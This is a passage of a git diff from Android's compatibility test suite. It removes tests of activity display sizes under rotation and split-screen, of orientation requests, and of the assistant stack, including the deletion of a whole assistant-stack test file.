- // TODO: Flaky, add to presubmit when b/63404575 is fixed.
- public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
- return;
- }
-
- String logSeparator = clearLogcat();
- launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, DOCKED_STACK_ID);
- final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
- logSeparator);
-
- logSeparator = clearLogcat();
- moveActivityToStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
- logSeparator);
-
- assertSizesAreSane(fullscreenSizes, dockedSizes);
- }
-
- /**
- * Tests whether the Display sizes change when rotating the device.
- */
- public void testConfigurationUpdatesWhenRotatingWhileFullscreen() throws Exception {
- if (!supportsRotation()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
- return;
- }
- setDeviceRotation(0);
- final String logSeparator = clearLogcat();
- launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
- logSeparator);
-
- rotateAndCheckSizes(initialSizes);
- }
-
- /**
- * Same as {@link #testConfigurationUpdatesWhenRotatingWhileFullscreen()} but when the Activity
- * is in the docked stack.
- */
- // TODO: Flaky, add to presubmit when b/63404575 is fixed.
- public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
- return;
- }
-
- setDeviceRotation(0);
- final String logSeparator = clearLogcat();
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- // Launch our own activity to side in case Recents (or other activity to side) doesn't
- // support rotation.
- getLaunchActivityBuilder().setToSide(true).setTargetActivityName(TEST_ACTIVITY_NAME)
- .execute();
- // Launch target activity in docked stack.
- getLaunchActivityBuilder().setTargetActivityName(RESIZEABLE_ACTIVITY_NAME).execute();
- final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
- logSeparator);
-
- rotateAndCheckSizes(initialSizes);
- }
-
- /**
- * Same as {@link #testConfigurationUpdatesWhenRotatingWhileDocked()} but when the Activity
- * is launched to side from docked stack.
- */
- public void testConfigurationUpdatesWhenRotatingToSideFromDocked() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
- return;
- }
-
- setDeviceRotation(0);
-
- final String logSeparator = clearLogcat();
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
-
- getLaunchActivityBuilder().setToSide(true).setTargetActivityName(RESIZEABLE_ACTIVITY_NAME)
- .execute();
- final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
- logSeparator);
-
- rotateAndCheckSizes(initialSizes);
- }
-
- private void rotateAndCheckSizes(ReportedSizes prevSizes) throws Exception {
- for (int rotation = 3; rotation >= 0; --rotation) {
- final String logSeparator = clearLogcat();
- final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
- RESIZEABLE_ACTIVITY_NAME).mStackId;
- final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
- setDeviceRotation(rotation);
- final int newDeviceRotation = getDeviceRotation(displayId);
- if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
- CLog.logAndDisplay(LogLevel.WARN, "Got an invalid device rotation value. "
- + "Continuing the test despite of that, but it is likely to fail.");
- } else if (rotation != newDeviceRotation) {
- CLog.logAndDisplay(LogLevel.INFO, "This device doesn't support locked user "
- + "rotation mode. Not continuing the rotation checks.");
- return;
- }
-
- final ReportedSizes rotatedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
- logSeparator);
- assertSizesRotate(prevSizes, rotatedSizes);
- prevSizes = rotatedSizes;
- }
- }
-
- /**
- * Tests when activity moved from fullscreen stack to docked and back. Activity will be
- * relaunched twice and it should have same config as initial one.
- */
- public void testSameConfigurationFullSplitFullRelaunch() throws Exception {
- moveActivityFullSplitFull(TEST_ACTIVITY_NAME);
- }
-
- /**
- * Same as {@link #testSameConfigurationFullSplitFullRelaunch} but without relaunch.
- */
- @Presubmit
- public void testSameConfigurationFullSplitFullNoRelaunch() throws Exception {
- moveActivityFullSplitFull(RESIZEABLE_ACTIVITY_NAME);
- }
-
- /**
- * Launches activity in fullscreen stack, moves to docked stack and back to fullscreen stack.
- * Last operation is done in a way which simulates split-screen divider movement maximizing
- * docked stack size and then moving task to fullscreen stack - the same way it is done when
- * user long-presses overview/recents button to exit split-screen.
- * Asserts that initial and final reported sizes in fullscreen stack are the same.
- */
- private void moveActivityFullSplitFull(String activityName) throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
- return;
- }
-
- // Launch to fullscreen stack and record size.
- String logSeparator = clearLogcat();
- launchActivityInStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
- final ReportedSizes initialFullscreenSizes = getActivityDisplaySize(activityName,
- logSeparator);
- final Rectangle displayRect = getDisplayRect(activityName);
-
- // Move to docked stack.
- logSeparator = clearLogcat();
- moveActivityToStack(activityName, DOCKED_STACK_ID);
- final ReportedSizes dockedSizes = getActivityDisplaySize(activityName, logSeparator);
- assertSizesAreSane(initialFullscreenSizes, dockedSizes);
- // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
- // will come up.
- launchActivityInStack(activityName, DOCKED_STACK_ID);
- mAmWmState.computeState(mDevice, new String[] { activityName },
- false /* compareTaskAndStackBounds */);
-
- // Resize docked stack to fullscreen size. This will trigger activity relaunch with
- // non-empty override configuration corresponding to fullscreen size.
- logSeparator = clearLogcat();
- runCommandAndPrintOutput("am stack resize " + DOCKED_STACK_ID + " 0 0 "
- + displayRect.width + " " + displayRect.height);
- // Move activity back to fullscreen stack.
- moveActivityToStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
- final ReportedSizes finalFullscreenSizes = getActivityDisplaySize(activityName,
- logSeparator);
-
- // After activity configuration was changed twice it must report same size as original one.
- assertSizesAreSame(initialFullscreenSizes, finalFullscreenSizes);
- }
-
- /**
- * Tests when activity moved from docked stack to fullscreen and back. Activity will be
- * relaunched twice and it should have same config as initial one.
- */
- public void testSameConfigurationSplitFullSplitRelaunch() throws Exception {
- moveActivitySplitFullSplit(TEST_ACTIVITY_NAME);
- }
-
- /**
- * Same as {@link #testSameConfigurationSplitFullSplitRelaunch} but without relaunch.
- */
- public void testSameConfigurationSplitFullSplitNoRelaunch() throws Exception {
- moveActivitySplitFullSplit(RESIZEABLE_ACTIVITY_NAME);
- }
-
- /**
- * Tests that an activity with the DialogWhenLarge theme can transform properly when in split
- * screen.
- */
- @Presubmit
- public void testDialogWhenLargeSplitSmall() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
- return;
- }
-
- launchActivityInStack(DIALOG_WHEN_LARGE_ACTIVITY, DOCKED_STACK_ID);
- final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
- .getStackById(DOCKED_STACK_ID);
- final WindowManagerState.Display display =
- mAmWmState.getWmState().getDisplay(stack.mDisplayId);
- final int density = display.getDpi();
- final int smallWidthPx = dpToPx(SMALL_WIDTH_DP, density);
- final int smallHeightPx = dpToPx(SMALL_HEIGHT_DP, density);
-
- runCommandAndPrintOutput("am stack resize " + DOCKED_STACK_ID + " 0 0 "
- + smallWidthPx + " " + smallHeightPx);
- mAmWmState.waitForValidState(mDevice, DIALOG_WHEN_LARGE_ACTIVITY, DOCKED_STACK_ID);
- }
-
- /**
- * Test that device handles consequent requested orientations and displays the activities.
- */
- @Presubmit
- public void testFullscreenAppOrientationRequests() throws Exception {
- launchActivity(PORTRAIT_ACTIVITY_NAME);
- mAmWmState.assertVisibility(PORTRAIT_ACTIVITY_NAME, true /* visible */);
- assertEquals("Fullscreen app requested portrait orientation",
- 1 /* portrait */, mAmWmState.getWmState().getLastOrientation());
-
- launchActivity(LANDSCAPE_ACTIVITY_NAME);
- mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
- assertEquals("Fullscreen app requested landscape orientation",
- 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
-
- launchActivity(PORTRAIT_ACTIVITY_NAME);
- mAmWmState.assertVisibility(PORTRAIT_ACTIVITY_NAME, true /* visible */);
- assertEquals("Fullscreen app requested portrait orientation",
- 1 /* portrait */, mAmWmState.getWmState().getLastOrientation());
- }
-
- public void testNonfullscreenAppOrientationRequests() throws Exception {
- String logSeparator = clearLogcat();
- launchActivity(PORTRAIT_ACTIVITY_NAME);
- final ReportedSizes initialReportedSizes =
- getLastReportedSizesForActivity(PORTRAIT_ACTIVITY_NAME, logSeparator);
- assertEquals("portrait activity should be in portrait",
- 1 /* portrait */, initialReportedSizes.orientation);
- logSeparator = clearLogcat();
-
- launchActivityInComponent(TRANSLUCENT_CURRENT_PACKAGE, TRANSLUCENT_ACTIVITY);
-
- assertEquals("non-fullscreen activity requested landscape orientation",
- 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
-
- // TODO(b/36897968): uncomment once we can suppress unsupported configurations
- // final ReportedSizes updatedReportedSizes =
- // getLastReportedSizesForActivity(PORTRAIT_ACTIVITY_NAME, logSeparator);
- // assertEquals("portrait activity should not have moved from portrait",
- // 1 /* portrait */, updatedReportedSizes.orientation);
- }
-
- public void testNonFullscreenActivityPermitted() throws Exception {
- setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
- setDeviceRotation(0);
-
- launchActivity(TRANSLUCENT_ACTIVITY);
- mAmWmState.assertResumedActivity(
- "target SDK non-fullscreen activity should be allowed to launch",
- TRANSLUCENT_ACTIVITY);
- assertEquals("non-fullscreen activity requested landscape orientation",
- 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
- }
-
- /**
- * Test that device handles moving between two tasks with different orientations.
- */
- public void testTaskCloseRestoreOrientation() throws Exception {
- // Start landscape activity.
- launchActivity(LANDSCAPE_ACTIVITY_NAME);
- mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
- assertEquals("Fullscreen app requested landscape orientation",
- 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
-
- // Start another activity in a different task.
- launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
-
- // Request portrait
- executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
- mAmWmState.waitForRotation(mDevice, 1);
-
- // Finish activity
- executeShellCommand(FINISH_ACTIVITY_BROADCAST);
-
- // Verify that activity brought to front is in originally requested orientation.
- mAmWmState.computeState(mDevice, new String[]{LANDSCAPE_ACTIVITY_NAME});
- assertEquals("Should return to app in landscape orientation",
- 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
- }
-
- /**
- * Test that device handles moving between two tasks with different orientations.
- */
- public void testTaskMoveToBackOrientation() throws Exception {
- // Start landscape activity.
- launchActivity(LANDSCAPE_ACTIVITY_NAME);
- mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
- assertEquals("Fullscreen app requested landscape orientation",
- 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
-
- // Start another activity in a different task.
- launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
-
- // Request portrait
- executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
- mAmWmState.waitForRotation(mDevice, 1);
-
- // Finish activity
- executeShellCommand(MOVE_TASK_TO_BACK_BROADCAST);
-
- // Verify that activity brought to front is in originally requested orientation.
- mAmWmState.waitForValidState(mDevice, LANDSCAPE_ACTIVITY_NAME);
- assertEquals("Should return to app in landscape orientation",
- 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
- }
-
- /**
- * Test that device doesn't change device orientation by app request while in multi-window.
- */
- public void testSplitscreenPortraitAppOrientationRequests() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
- return;
- }
- requestOrientationInSplitScreen(1 /* portrait */, LANDSCAPE_ACTIVITY_NAME);
- }
-
- /**
- * Test that device doesn't change device orientation by app request while in multi-window.
- */
- public void testSplitscreenLandscapeAppOrientationRequests() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
- return;
- }
- requestOrientationInSplitScreen(0 /* landscape */, PORTRAIT_ACTIVITY_NAME);
- }
-
- /**
- * Rotate the device and launch specified activity in split-screen, checking if orientation
- * didn't change.
- */
- private void requestOrientationInSplitScreen(int orientation, String activity)
- throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
- return;
- }
-
- // Set initial orientation.
- setDeviceRotation(orientation);
-
- // Launch activities that request orientations and check that device doesn't rotate.
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
-
- getLaunchActivityBuilder().setToSide(true).setMultipleTask(true)
- .setTargetActivityName(activity).execute();
- mAmWmState.computeState(mDevice, new String[] {activity});
- mAmWmState.assertVisibility(activity, true /* visible */);
- assertEquals("Split-screen apps shouldn't influence device orientation",
- orientation, mAmWmState.getWmState().getRotation());
-
- getLaunchActivityBuilder().setMultipleTask(true).setTargetActivityName(activity).execute();
- mAmWmState.computeState(mDevice, new String[] {activity});
- mAmWmState.assertVisibility(activity, true /* visible */);
- assertEquals("Split-screen apps shouldn't influence device orientation",
- orientation, mAmWmState.getWmState().getRotation());
- }
-
- /**
- * Launches activity in docked stack, moves to fullscreen stack and back to docked stack.
- * Asserts that initial and final reported sizes in docked stack are the same.
- */
- private void moveActivitySplitFullSplit(String activityName) throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
- return;
- }
-
- // Launch to docked stack and record size.
- String logSeparator = clearLogcat();
- launchActivityInStack(activityName, DOCKED_STACK_ID);
- final ReportedSizes initialDockedSizes = getActivityDisplaySize(activityName, logSeparator);
- // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
- // will come up.
- launchActivityInStack(activityName, DOCKED_STACK_ID);
- mAmWmState.computeState(mDevice, new String[] { activityName },
- false /* compareTaskAndStackBounds */);
-
- // Move to fullscreen stack.
- logSeparator = clearLogcat();
- moveActivityToStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
- final ReportedSizes fullscreenSizes = getActivityDisplaySize(activityName, logSeparator);
- assertSizesAreSane(fullscreenSizes, initialDockedSizes);
-
- // Move activity back to docked stack.
- logSeparator = clearLogcat();
- moveActivityToStack(activityName, DOCKED_STACK_ID);
- final ReportedSizes finalDockedSizes = getActivityDisplaySize(activityName, logSeparator);
-
- // After activity configuration was changed twice it must report same size as original one.
- assertSizesAreSame(initialDockedSizes, finalDockedSizes);
- }
-
- /**
- * Asserts that after rotation, the aspect ratios of display size, metrics, and configuration
- * have flipped.
- */
- private static void assertSizesRotate(ReportedSizes rotationA, ReportedSizes rotationB)
- throws Exception {
- assertEquals(rotationA.displayWidth, rotationA.metricsWidth);
- assertEquals(rotationA.displayHeight, rotationA.metricsHeight);
- assertEquals(rotationB.displayWidth, rotationB.metricsWidth);
- assertEquals(rotationB.displayHeight, rotationB.metricsHeight);
-
- final boolean beforePortrait = rotationA.displayWidth < rotationA.displayHeight;
- final boolean afterPortrait = rotationB.displayWidth < rotationB.displayHeight;
- assertFalse(beforePortrait == afterPortrait);
-
- final boolean beforeConfigPortrait = rotationA.widthDp < rotationA.heightDp;
- final boolean afterConfigPortrait = rotationB.widthDp < rotationB.heightDp;
- assertEquals(beforePortrait, beforeConfigPortrait);
- assertEquals(afterPortrait, afterConfigPortrait);
-
- assertEquals(rotationA.smallestWidthDp, rotationB.smallestWidthDp);
- }
-
- /**
- * Throws an AssertionError if fullscreenSizes has widths/heights (depending on aspect ratio)
- * that are smaller than the dockedSizes.
- */
- private static void assertSizesAreSane(ReportedSizes fullscreenSizes, ReportedSizes dockedSizes)
- throws Exception {
- final boolean portrait = fullscreenSizes.displayWidth < fullscreenSizes.displayHeight;
- if (portrait) {
- assertTrue(dockedSizes.displayHeight < fullscreenSizes.displayHeight);
- assertTrue(dockedSizes.heightDp < fullscreenSizes.heightDp);
- assertTrue(dockedSizes.metricsHeight < fullscreenSizes.metricsHeight);
- } else {
- assertTrue(dockedSizes.displayWidth < fullscreenSizes.displayWidth);
- assertTrue(dockedSizes.widthDp < fullscreenSizes.widthDp);
- assertTrue(dockedSizes.metricsWidth < fullscreenSizes.metricsWidth);
- }
- }
-
- /**
- * Throws an AssertionError if sizes are different.
- */
- private static void assertSizesAreSame(ReportedSizes firstSize, ReportedSizes secondSize)
- throws Exception {
- assertEquals(firstSize.widthDp, secondSize.widthDp);
- assertEquals(firstSize.heightDp, secondSize.heightDp);
- assertEquals(firstSize.displayWidth, secondSize.displayWidth);
- assertEquals(firstSize.displayHeight, secondSize.displayHeight);
- assertEquals(firstSize.metricsWidth, secondSize.metricsWidth);
- assertEquals(firstSize.metricsHeight, secondSize.metricsHeight);
- assertEquals(firstSize.smallestWidthDp, secondSize.smallestWidthDp);
- }
-
- private ReportedSizes getActivityDisplaySize(String activityName, String logSeparator)
- throws Exception {
- mAmWmState.computeState(mDevice, new String[] { activityName },
- false /* compareTaskAndStackBounds */);
- final ReportedSizes details = getLastReportedSizesForActivity(activityName, logSeparator);
- assertNotNull(details);
- return details;
- }
-
- private Rectangle getDisplayRect(String activityName)
- throws Exception {
- final String windowName = getWindowName(activityName);
-
- mAmWmState.computeState(mDevice, new String[] {activityName});
- mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
-
- final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
- mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, tempWindowList);
-
- assertEquals("Should have exactly one window state for the activity.", 1,
- tempWindowList.size());
-
- WindowManagerState.WindowState windowState = tempWindowList.get(0);
- assertNotNull("Should have a valid window", windowState);
-
- WindowManagerState.Display display = mAmWmState.getWmState()
- .getDisplay(windowState.getDisplayId());
- assertNotNull("Should be on a display", display);
-
- return display.getDisplayRect();
- }
-
- /**
- * Test launching an activity which requests specific UI mode during creation.
- */
- public void testLaunchWithUiModeChange() throws Exception {
- // Launch activity that changes UI mode and handles this configuration change.
- launchActivity(NIGHT_MODE_ACTIVITY);
- mAmWmState.waitForActivityState(mDevice, NIGHT_MODE_ACTIVITY, STATE_RESUMED);
-
- // Check if activity is launched successfully.
- mAmWmState.assertVisibility(NIGHT_MODE_ACTIVITY, true /* visible */);
- mAmWmState.assertFocusedActivity("Launched activity should be focused",
- NIGHT_MODE_ACTIVITY);
- mAmWmState.assertResumedActivity("Launched activity must be resumed", NIGHT_MODE_ACTIVITY);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
deleted file mode 100644
index be2af68..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
+++ /dev/null
@@ -1,291 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test android.server.cts.ActivityManagerAssistantStackTests
- */
-public class ActivityManagerAssistantStackTests extends ActivityManagerTestBase {
-
- private static final String VOICE_INTERACTION_SERVICE = "AssistantVoiceInteractionService";
-
- private static final String TEST_ACTIVITY = "TestActivity";
- private static final String ANIMATION_TEST_ACTIVITY = "AnimationTestActivity";
- private static final String DOCKED_ACTIVITY = "DockedActivity";
- private static final String ASSISTANT_ACTIVITY = "AssistantActivity";
- private static final String TRANSLUCENT_ASSISTANT_ACTIVITY = "TranslucentAssistantActivity";
- private static final String LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION =
- "LaunchAssistantActivityFromSession";
- private static final String LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK =
- "LaunchAssistantActivityIntoAssistantStack";
- private static final String PIP_ACTIVITY = "PipActivity";
-
- private static final String EXTRA_ENTER_PIP = "enter_pip";
- private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
- private static final String EXTRA_FINISH_SELF = "finish_self";
- public static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
-
- private static final String TEST_ACTIVITY_ACTION_FINISH_SELF =
- "android.server.cts.TestActivity.finish_self";
-
- public void testLaunchingAssistantActivityIntoAssistantStack() throws Exception {
- // Enable the assistant and launch an assistant activity
- enableAssistant();
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
-
- // Ensure that the activity launched in the fullscreen assistant stack
- assertAssistantStackExists();
- assertTrue("Expected assistant stack to be fullscreen",
- mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).isFullscreen());
-
- disableAssistant();
- }
-
- public void testAssistantStackZOrder() throws Exception {
- if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
- // Launch a pinned stack task
- launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
-
- // Dock a task
- launchActivity(TEST_ACTIVITY);
- launchActivityInDockStack(DOCKED_ACTIVITY);
- mAmWmState.assertContainsStack("Must contain fullscreen stack.",
- FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
- // Enable the assistant and launch an assistant activity, ensure it is on top
- enableAssistant();
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
- assertAssistantStackExists();
-
- mAmWmState.assertFrontStack("Pinned stack should be on top.", PINNED_STACK_ID);
- mAmWmState.assertFocusedStack("Assistant stack should be focused.", ASSISTANT_STACK_ID);
-
- disableAssistant();
- }
-
- public void testAssistantStackLaunchNewTask() throws Exception {
- enableAssistant();
- assertAssistantStackCanLaunchAndReturnFromNewTask();
- disableAssistant();
- }
-
- public void testAssistantStackLaunchNewTaskWithDockedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow()) return;
- // Dock a task
- launchActivity(TEST_ACTIVITY);
- launchActivityInDockStack(DOCKED_ACTIVITY);
- mAmWmState.assertContainsStack("Must contain fullscreen stack.",
- FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
- enableAssistant();
- assertAssistantStackCanLaunchAndReturnFromNewTask();
- disableAssistant();
- }
-
- private void assertAssistantStackCanLaunchAndReturnFromNewTask() throws Exception {
- // Enable the assistant and launch an assistant activity which will launch a new task
- enableAssistant();
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
- EXTRA_LAUNCH_NEW_TASK, TEST_ACTIVITY);
- disableAssistant();
-
- // Ensure that the fullscreen stack is on top and the test activity is now visible
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
- mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
- FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
- FULLSCREEN_WORKSPACE_STACK_ID);
-
- // Now, tell it to finish itself and ensure that the assistant stack is brought back forward
- executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH_SELF);
- mAmWmState.waitForFocusedStack(mDevice, ASSISTANT_STACK_ID);
- mAmWmState.assertFrontStack("Assistant stack should be on top.", ASSISTANT_STACK_ID);
- mAmWmState.assertFocusedStack("Assistant stack should be focused.", ASSISTANT_STACK_ID);
- }
-
- public void testAssistantStackFinishToPreviousApp() throws Exception {
- // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
- // the fullscreen activity is still visible and on top after the assistant activity finishes
- launchActivity(TEST_ACTIVITY);
- enableAssistant();
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
- EXTRA_FINISH_SELF, "true");
- disableAssistant();
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY, STATE_RESUMED);
- mAmWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
- mAmWmState.assertFrontStack("Fullscreen stack should be on top.",
- FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertFocusedStack("Fullscreen stack should be focused.",
- FULLSCREEN_WORKSPACE_STACK_ID);
- }
-
- public void testDisallowEnterPiPFromAssistantStack() throws Exception {
- enableAssistant();
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
- EXTRA_ENTER_PIP, "true");
- disableAssistant();
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
- mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
- }
-
- public void testTranslucentAssistantActivityStackVisibility() throws Exception {
- enableAssistant();
- // Go home, launch the assistant and check to see that home is visible
- removeStacks(FULLSCREEN_WORKSPACE_STACK_ID);
- launchHomeActivity();
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
- EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
- assertAssistantStackExists();
- if (!noHomeScreen()) {
- mAmWmState.assertHomeActivityVisible(true);
- }
-
- // Launch a fullscreen app and then launch the assistant and check to see that it is
- // also visible
- removeStacks(ASSISTANT_STACK_ID);
- launchActivity(TEST_ACTIVITY);
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
- EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
- assertAssistantStackExists();
- mAmWmState.assertVisibility(TEST_ACTIVITY, true);
-
- // Go home, launch assistant, launch app into fullscreen with activity present, and go back.
- // Ensure home is visible.
- removeStacks(ASSISTANT_STACK_ID);
- launchHomeActivity();
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
- EXTRA_IS_TRANSLUCENT, String.valueOf(true), EXTRA_LAUNCH_NEW_TASK,
- TEST_ACTIVITY);
- mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertHomeActivityVisible(false);
- pressBackButton();
- mAmWmState.waitForFocusedStack(mDevice, ASSISTANT_STACK_ID);
- assertAssistantStackExists();
- if (!noHomeScreen()) {
- mAmWmState.assertHomeActivityVisible(true);
- }
-
- // Launch a fullscreen and docked app and then launch the assistant and check to see that it
- // is also visible
- if (supportsSplitScreenMultiWindow()) {
- removeStacks(ASSISTANT_STACK_ID);
- launchActivityInDockStack(DOCKED_ACTIVITY);
- launchActivity(TEST_ACTIVITY);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
- EXTRA_IS_TRANSLUCENT, String.valueOf(true));
- mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
- assertAssistantStackExists();
- mAmWmState.assertVisibility(DOCKED_ACTIVITY, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY, true);
- }
- disableAssistant();
- }
-
- public void testLaunchIntoSameTask() throws Exception {
- enableAssistant();
-
- // Launch the assistant
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
- assertAssistantStackExists();
- mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, true);
- mAmWmState.assertFocusedStack("Expected assistant stack focused", ASSISTANT_STACK_ID);
- assertEquals(1, mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).getTasks().size());
- final int taskId = mAmWmState.getAmState().getTaskByActivityName(ASSISTANT_ACTIVITY)
- .mTaskId;
-
- // Launch a new fullscreen activity
- // Using Animation Test Activity because it is opaque on all devices.
- launchActivity(ANIMATION_TEST_ACTIVITY);
- mAmWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
-
- // Launch the assistant again and ensure that it goes into the same task
